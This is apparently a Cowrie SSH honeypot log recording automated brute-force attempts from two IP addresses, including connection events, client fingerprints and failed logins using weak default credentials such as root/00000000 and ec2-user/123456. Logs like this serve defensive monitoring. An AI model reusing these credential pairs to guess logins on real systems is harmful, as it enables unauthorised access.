{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:05.277527Z","src_ip":"176.65.139.95","session":"ac7002ff6f4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:05.370487Z","src_ip":"192.109.200.78","session":"6907b155d683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:05.562413Z","src_ip":"176.65.139.95","session":"ac7002ff6f4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:06.649028Z","src_ip":"176.65.139.95","session":"ac7002ff6f4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38818,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd68b242ea24","protocol":"ssh","message":"New connection: 192.109.200.78:38818 (159.203.135.109:22) [session: bd68b242ea24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:07.637758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:07.642757Z","src_ip":"192.109.200.78","session":"bd68b242ea24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:07.725623Z","src_ip":"192.109.200.78","session":"bd68b242ea24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:07.972503Z","src_ip":"192.109.200.78","session":"bd68b242ea24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:09.140054Z","src_ip":"192.109.200.78","session":"bd68b242ea24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44864,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa803b5b648d","protocol":"ssh","message":"New connection: 176.65.139.95:44864 (159.203.135.109:22) [session: fa803b5b648d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:11.623383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:11.628112Z","src_ip":"176.65.139.95","session":"fa803b5b648d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58086,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0e959564271","protocol":"ssh","message":"New connection: 192.109.200.78:58086 (159.203.135.109:22) [session: e0e959564271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:11.649856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:11.657885Z","src_ip":"192.109.200.78","session":"e0e959564271","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:11.750470Z","src_ip":"176.65.139.95","session":"fa803b5b648d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:11.903435Z","src_ip":"192.109.200.78","session":"e0e959564271","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar123","message":"login attempt [sonar/sonar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:12.045499Z","src_ip":"176.65.139.95","session":"fa803b5b648d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1234","message":"login attempt [user/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:12.312834Z","src_ip":"192.109.200.78","session":"e0e959564271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:13.361819Z","src_ip":"176.65.139.95","session":"fa803b5b648d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:13.398775Z","src_ip":"192.109.200.78","session":"e0e959564271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58090,"dst_ip":"159.203.135.109","dst_port":22,"session":"881906e29c3b","protocol":"ssh","message":"New connection: 192.109.200.78:58090 (159.203.135.109:22) [session: 881906e29c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:16.911152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:16.915967Z","src_ip":"192.109.200.78","session":"881906e29c3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:17.000596Z","src_ip":"192.109.200.78","session":"881906e29c3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:17.252491Z","src_ip":"192.109.200.78","session":"881906e29c3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44876,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce848147b73c","protocol":"ssh","message":"New connection: 176.65.139.95:44876 (159.203.135.109:22) [session: ce848147b73c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:18.170427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:18.178448Z","src_ip":"176.65.139.95","session":"ce848147b73c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:18.281189Z","src_ip":"176.65.139.95","session":"ce848147b73c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:18.336680Z","src_ip":"192.109.200.78","session":"881906e29c3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:18.678503Z","src_ip":"176.65.139.95","session":"ce848147b73c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:19.781640Z","src_ip":"176.65.139.95","session":"ce848147b73c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54296,"dst_ip":"159.203.135.109","dst_port":22,"session":"192efaaee8d4","protocol":"ssh","message":"New connection: 192.109.200.78:54296 (159.203.135.109:22) [session: 192efaaee8d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:20.007616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:20.012703Z","src_ip":"192.109.200.78","session":"192efaaee8d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:20.204462Z","src_ip":"192.109.200.78","session":"192efaaee8d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:20.536317Z","src_ip":"192.109.200.78","session":"192efaaee8d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:21.622140Z","src_ip":"192.109.200.78","session":"192efaaee8d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54302,"dst_ip":"159.203.135.109","dst_port":22,"session":"33fdde4b51ca","protocol":"ssh","message":"New connection: 192.109.200.78:54302 (159.203.135.109:22) [session: 33fdde4b51ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:24.169064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:24.177710Z","src_ip":"192.109.200.78","session":"33fdde4b51ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:24.253074Z","src_ip":"192.109.200.78","session":"33fdde4b51ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hzx","password":"hzx","message":"login attempt [hzx/hzx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:24.572664Z","src_ip":"192.109.200.78","session":"33fdde4b51ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52514,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb0e7e59ead6","protocol":"ssh","message":"New connection: 176.65.139.95:52514 (159.203.135.109:22) [session: fb0e7e59ead6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:25.110068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:25.121848Z","src_ip":"176.65.139.95","session":"fb0e7e59ead6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 